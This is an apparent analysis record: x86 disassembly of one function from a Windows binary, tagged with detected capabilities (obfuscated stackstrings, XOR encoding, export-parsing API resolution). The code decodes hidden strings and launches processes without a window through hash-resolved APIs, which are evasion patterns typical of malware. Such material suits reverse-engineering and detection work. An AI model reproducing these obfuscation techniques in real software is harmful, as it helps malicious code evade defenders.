Function at 0x416b0a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2e4
push ebx
push ebp
push esi
push edi
mov word [esp + 0x30], 0x948a
xor ecx, ecx
mov byte [esp + 0x32], 0x80
mov al, byte [esp + ecx + 0x30]
xor al, 0xe7
mov byte [esp + ecx + 0x144], al
inc ecx
cmp ecx, 3
jl 0x416b22
mov byte [esp + 0x147], 0
xor ecx, ecx
mov dword [esp + 0xa0], 0xc3c0cecb
mov word [esp + 0xa4], 0xd1c4
mov al, byte [esp + ecx + 0xa0]
sub al, 0x5f
mov byte [esp + ecx + 0x154], al
inc ecx
cmp ecx, 6
jl 0x416b54
lea edx, [esp + 0x154]
mov byte [esp + 0x15a], 0
lea ecx, [esp + 0x144]
call fcn.0041842f
mov ebx, eax
mov dword [esp + 0xa0], ebx
test ebx, ebx
je 0x4174bd
push 0x1000
call fcn.0040570b
mov edi, eax
pop ecx
test edi, edi
je 0x4174b6
and dword [esp + 0xb0], 0
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x14]
mov word [esp + 0x14], 0x7c
push eax
push ebx
call fcn.00405d9c
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4174af
push 0x23
pop ebx
xor edx, edx
mov dword [esp + 0xe0], 0x91868bb7
mov dword [esp + 0xe4], 0xc390c486
mov ecx, edx
mov dword [esp + 0xe8], 0x868f8a85
mov dword [esp + 0xec], 0xc38c97c3
mov dword [esp + 0xf0], 0x87828c8f
mov dword [esp + 0xf4], 0x8ca4c3cd
mov dword [esp + 0xf8], 0xc3828d8d
mov dword [esp + 0xfc], 0x87828c8f
mov dword [esp + 0x100], 0xe9978ac3
mov al, byte [esp + ecx + 0xe0]
xor al, 0xe3
mov byte [esp + ecx + 0x228], al
inc ecx
cmp ecx, 0x24
jl 0x416c44
mov byte [esp + 0x24c], dl
mov ecx, edx
mov word [esp + 0x30], 0x20
mov dword [esp + 0x14], 0x4c4c4e22
mov dword [esp + 0x18], 0xff434d40
mov dword [esp + 0x1c], 0x444d484b
mov dword [esp + 0x20], 0x4b04ff19
mov word [esp + 0x24], 0xe952
mov al, byte [esp + ecx + 0x14]
add al, 0x21
mov byte [esp + ecx + 0x19c], al
inc ecx
cmp ecx, 0x12
jl 0x416c91
lea eax, [esp + 0x228]
mov byte [esp + 0x1ae], dl
push eax
call fcn.004125f4
pop ecx
lea eax, [esp + 0x30]
xor ebp, ebp
push eax
push esi
call fcn.00405c00
pop ecx
pop ecx
test eax, eax
je 0x416cd5
mov ecx, esi
call fcn.0041b553
mov ebp, eax
lea eax, [esp + 0x19c]
push ebp
push eax
call fcn.004125f4
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.00405d9c
add esp, 0x14
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x14]
push eax
push 0
call fcn.00405d9c
add esp, 0xc
mov esi, eax
lea eax, [esp + 0x150]
push eax
push esi
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040f780
mov dword [esp + 0x150], eax
pop ecx
test eax, eax
je 0x417480
mov dword [esp + 0xa8], 0x4d4a4251
xor ecx, ecx
mov edx, 0xff
movzx eax, byte [esp + ecx + 0xa8]
add ax, bx
and ax, dx
mov word [esp + ecx*2 + 0x15c], ax
inc ecx
cmp ecx, 4
jl 0x416d4d
xor eax, eax
xor ecx, ecx
push 0x800
mov word [esp + 0x168], ax
mov edx, 0x1a52823b
lea eax, [esp + 0x160]
inc ecx
push edi
push eax
call fcn.00412ca7
call eax
test eax, eax
je 0x417473
push 0x5c
pop eax
mov word [esp + 0x148], ax
xor eax, eax
mov word [esp + 0x14a], ax
xor ecx, ecx
mov dword [esp + 0xac], 0xd0cdd09b
mov al, byte [esp + ecx + 0xac]
xor al, 0xb5
movzx eax, al
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 4
jl 0x416dba
xor eax, eax
lea ecx, [esp + 0x208]
push 0xf
pop edx
mov word [esp + 0x170], ax
call fcn.0041b3f1
lea eax, [esp + 0x148]
push eax
push edi
call fcn.00405bcb
lea eax, [esp + 0x210]
push eax
push edi
call fcn.00405bcb
lea eax, [esp + 0x178]
push eax
push edi
call fcn.00405bcb
push dword [esp + 0x168]
mov edx, dword [esp + 0x168]
mov ecx, edi
call fcn.0041b4e9
add esp, 0x1c
test al, al
je 0x417342
mov dword [esp + 0x34], 0x869b80a5
xor ecx, ecx
mov dword [esp + 0x38], 0x9b94d297
mov dword [esp + 0x3c], 0x91d2979e
mov dword [esp + 0x40], 0x97869c9d
mov dword [esp + 0x44], 0x9bd2869c
mov dword [esp + 0x48], 0x9ed7d29c
mov word [esp + 0x4c], 0xf881
mov al, byte [esp + ecx + 0x34]
xor al, 0xf2
mov byte [esp + ecx + 0xbc], al
inc ecx
cmp ecx, 0x1a
jl 0x416e70
lea eax, [esp + 0xbc]
mov byte [esp + 0xd6], 0
push edi
push eax
call fcn.004125f4
push 0x40
lea eax, [esp + 0x1d0]
mov dword [esp + 0x1cc], 0x44
push 0
push eax
call fcn.00403960
add esp, 0x14
xor eax, eax
mov word [esp + 0x1f0], ax
xor ecx, ecx
lea eax, [esp + 0x1b0]
mov edx, 0x322e7433
inc ecx
push eax
lea eax, [esp + 0x1c4]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push ebp
push edi
call fcn.00412ca7
call eax
test eax, eax
je 0x41721f
mov dword [esp + 0x34], 0x2c2c3e1c
xor ecx, ecx
mov dword [esp + 0x38], 0x2f3c3c2e
mov dword [esp + 0x3c], 0x4235353e
mov dword [esp + 0x40], 0x2a3d3ce9
mov dword [esp + 0x44], 0x39e93d3b
mov dword [esp + 0x48], 0x2e2c383b
mov word [esp + 0x4c], 0x3c3c
mov byte [esp + 0x4e], 0xd3
mov al, byte [esp + ecx + 0x34]
add al, 0x37
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x1b
jl 0x416f35
mov byte [esp + 0x2f], 0
xor ecx, ecx
mov dword [esp + 0x50], 0xb5e6a5e9
mov dword [esp + 0x54], 0xa7b2aea5
mov dword [esp + 0x58], 0xe6b5adb5
mov dword [esp + 0x5c], 0xa3b4a5e9
mov dword [esp + 0x60], 0xe6a3b2a7
mov dword [esp + 0x64], 0xe9e680e9
mov dword [esp + 0x68], 0xabe6a5b5
mov dword [esp + 0x6c], 0xb2b3a8af
mov dword [esp + 0x70], 0xabe9e6a3
mov dword [esp + 0x74], 0xf3f7e6a9
mov dword [esp + 0x78], 0xb4b2e9e6
mov dword [esp + 0x7c], 0xaae3e4e6
mov dword [esp + 0x80], 0xe9e6e4b5
mov dword [esp + 0x84], 0xe4e6a8b2
mov dword [esp + 0x88], 0xa8af919a
mov dword [esp + 0x8c], 0xb5b1a9a2
mov dword [esp + 0x90], 0x96b6b687
mov dword [esp + 0x94], 0x9aaaa9a9
mov dword [esp + 0x98], 0xe4b5aae3
mov al, byte [esp + ecx + 0x50]
xor al, 0xc6
movzx eax, al
mov word [esp + ecx*2 + 0x250], ax
inc ecx
cmp ecx, 0x4c
jl 0x416ff9
xor eax, eax
mov word [esp + 0x2e8], ax
lea eax, [esp + 0x14]
push eax
call fcn.004125f4
pop ecx
lea eax, [esp + 0x208]
push eax
lea eax, [esp + 0x254]
push edi
push eax
call fcn.0041b737
mov esi, eax
add esp, 0xc
test esi, esi
je 0x417473
mov dword [esp + 0xb4], 0xbdd7d9ad
xor ecx, ecx
mov word [esp + 0xb8], 0xcfda
mov edx, 0xff
mov byte [esp + 0xba], 0xcd
movzx eax, byte [esp + ecx + 0xb4]
sub ax, 0x6a
and ax, dx
mov word [esp + ecx*2 + 0x18c], ax
inc ecx
cmp ecx, 7
jl 0x41706c
xor eax, eax
xor ecx, ecx
push 0x800
mov word [esp + 0x19e], ax
mov edx, 0x1a52823b
lea eax, [esp + 0x190]
inc ecx
push edi
push eax
call fcn.00412ca7
call eax
test eax, eax
je 0x417213
push 0x44
lea eax, [esp + 0x1c4]
push 0
push eax
call fcn.00403960
add esp, 0xc
mov dword [esp + 0x1c0], 0x44
xor eax, eax
xor ecx, ecx
mov word [esp + 0x1f0], ax
mov edx, 0x322e7433
lea eax, [esp + 0x1b0]
inc ecx
push eax
lea eax, [esp + 0x1c4]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push esi
push edi
call fcn.00412ca7
call eax
test eax, eax
jne 0x417213
mov dword [esp + 0x50], 0xd81f12f4
xor ecx, ecx
mov dword [esp + 0x54], 0x1512d125
mov dword [esp + 0x58], 0x1225d115
mov dword [esp + 0x5c], 0x1ad11c24
mov dword [esp + 0x60], 0x1225d11f
mov dword [esp + 0x64], 0x24d11c24
mov dword [esp + 0x68], 0x15161914
mov word [esp + 0x6c], 0x1d26
mov byte [esp + 0x6e], 0x16
mov byte [esp + 0x6f], bl
mov word [esp + 0x70], 0xd1dd
mov byte [esp + 0x72], 0xf4
mov byte [esp + 0x73], bl
mov dword [esp + 0x74], 0x16251216
mov byte [esp + 0x78], 1
mov byte [esp + 0x79], bl
mov dword [esp + 0x7a], 0x24161420
mov dword [esp + 0x7e], 0x17d10824
mov dword [esp + 0x82], 0x241d1a12
mov dword [esp + 0x86], 0x121dd1ec
mov dword [esp + 0x8a], 0x16d12524
mov byte [esp + 0x8e], bl
mov byte [esp + 0x8f], bl
mov byte [esp + 0x90], 0x20
mov byte [esp + 0x91], bl
mov dword [esp + 0x92], 0x29d6d1eb
mov byte [esp + 0x96], 0xbb
mov al, byte [esp + ecx + 0x50]
add al, 0x4f
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 0x47
jl 0x4171e2
mov byte [esp + 0x127], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0xe4]
push eax
call fcn.004125f4
pop ecx
pop ecx
push esi
call fcn.004056f0
pop ecx
jmp 0x417473
xor edx, edx
mov dword [esp + 0x14], 0x1801d3d3
mov dword [esp + 0x18], 0x11060a19
mov ecx, edx
mov dword [esp + 0x1c], 0x1101170a
mov dword [esp + 0x20], 0xa090614
mov dword [esp + 0x24], 0x1508d317
mov byte [esp + 0x28], 0x15
mov al, byte [esp + ecx + 0x14]
add al, 0x5b
mov byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 0x15
jl 0x417250
mov byte [esp + 0x49], dl
mov ecx, edx
mov dword [esp + 0x12c], 0x5e4d5e3f
mov dword [esp + 0x130], 0x4d5b3860
mov word [esp + 0x134], 0x5150
mov byte [esp + 0x136], 0x5e
mov al, byte [esp + ecx + 0x12c]
add al, 0x14
mov byte [esp + ecx + 0x174], al
inc ecx
cmp ecx, 0xb
jl 0x41728e
mov byte [esp + 0x17f], dl
mov ecx, edx
mov dword [esp + 0xe0], 0x377e7153
mov dword [esp + 0xe4], 0x84833084
mov dword [esp + 0xe8], 0x30848271
mov dword [esp + 0xec], 0x737f8280
mov dword [esp + 0xf0], 0x4b838375
mov dword [esp + 0xf4], 0x83717c30
mov dword [esp + 0xf8], 0x82753084
mov dword [esp + 0xfc], 0x4a827f82
mov dword [esp + 0x100], 0x1a883530
mov al, byte [esp + ecx + 0xe0]
sub al, 0x10
mov byte [esp + ecx + 0x50], al
inc ecx
cmp ecx, 0x24
jl 0x417310
mov byte [esp + 0x74], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x17c]
push eax
push 0x4d
jmp 0x417466
xor edx, edx
mov dword [esp + 0x14], 0xb798eaea
mov dword [esp + 0x18], 0xa8a5a1b0
mov ecx, edx
mov dword [esp + 0x1c], 0xa898b6a1
mov dword [esp + 0x20], 0xa1a0a5ab
mov dword [esp + 0x24], 0xb4a7eab6
mov byte [esp + 0x28], 0xb4
mov al, byte [esp + ecx + 0x14]
xor al, 0xc4
mov byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 0x15
jl 0x417373
mov byte [esp + 0x49], dl
mov ecx, edx
mov dword [esp + 0x138], 0x5e4d5e7f
mov dword [esp + 0x13c], 0x4d436058
mov word [esp + 0x140], 0x4948
mov byte [esp + 0x142], 0x5e
mov al, byte [esp + ecx + 0x138]
xor al, 0x2c
mov byte [esp + ecx + 0x180], al
inc ecx
cmp ecx, 0xb
jl 0x4173b1
mov byte [esp + 0x18b], dl
mov ecx, edx
mov dword [esp + 0xbc], 0x51181735
mov dword [esp + 0xc0], 0x4015602
mov dword [esp + 0xc4], 0x5613021f
mov dword [esp + 0xc8], 0x131a1f10
mov dword [esp + 0xcc], 0x171a564d
mov dword [esp + 0xd0], 0x13560205
mov dword [esp + 0xd4], 0x4190404
mov dword [esp + 0xd8], 0xe53564c
mov byte [esp + 0xdc], 0x7c
mov al, byte [esp + ecx + 0xbc]
xor al, 0x76
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 0x21
jl 0x417430
mov byte [esp + 0x101], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0xe4]
push eax
lea eax, [esp + 0x188]
push eax
push 0x51
lea eax, [esp + 0x44]
push eax
call fcn.00412711
add esp, 0x14
push dword [esp + 0x14c]
call fcn.004056f0
pop ecx
push ebp
call fcn.004056f0
pop ecx
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x14]
push eax
push 0
call fcn.00405d9c
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x416bdd
mov ebx, dword [esp + 0xa0]
push edi
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2e4
ret